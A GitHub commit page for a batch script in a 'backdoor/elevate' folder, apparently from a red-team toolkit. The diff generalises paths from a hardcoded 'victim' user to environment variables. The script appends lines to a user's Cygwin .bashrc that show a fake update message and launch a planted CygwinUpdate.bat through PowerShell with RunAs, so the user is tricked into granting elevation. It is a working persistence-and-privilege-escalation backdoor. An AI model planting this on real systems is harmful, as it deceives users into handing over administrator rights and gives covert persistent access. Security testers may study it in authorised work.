Skip to content

Commit

Permalink
Update Cygwin64-RunAsPowershell.bat
Browse files Browse the repository at this point in the history
  • Loading branch information
cervoise authored Oct 17, 2018
1 parent 57a4071 commit 3b6db65
Showing 1 changed file with 3 additions and 3 deletions.
6 changes: 3 additions & 3 deletions backdoor/elevate/Cygwin64-RunAsPowershell.bat
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
cd ..\..\Cygwin64\home\victim
cd ..\..\Cygwin64\home\%USERNAME%
echo echo "Cygwin must check for update!" >> .bashrc
echo /cygdrive/c/Windows/System32/WindowsPowerShell/v1.0/powershell.exe -Command "Start-Process c:\users\victim\CygwinUpdate.bat -Verb RunAs" >> .bashrc
echo /cygdrive/c/Windows/System32/WindowsPowerShell/v1.0/powershell.exe -Command "Start-Process %USERPROFILE%\CygwinUpdate.bat -Verb RunAs" >> .bashrc
echo echo "Cygwin updated!" >> .bashrc
cd ..\..\..\users\victim
cd %USERPROFILE%
echo yourEvilScript > CygwinUpdate.bat

0 comments on commit 3b6db65

Please sign in to comment.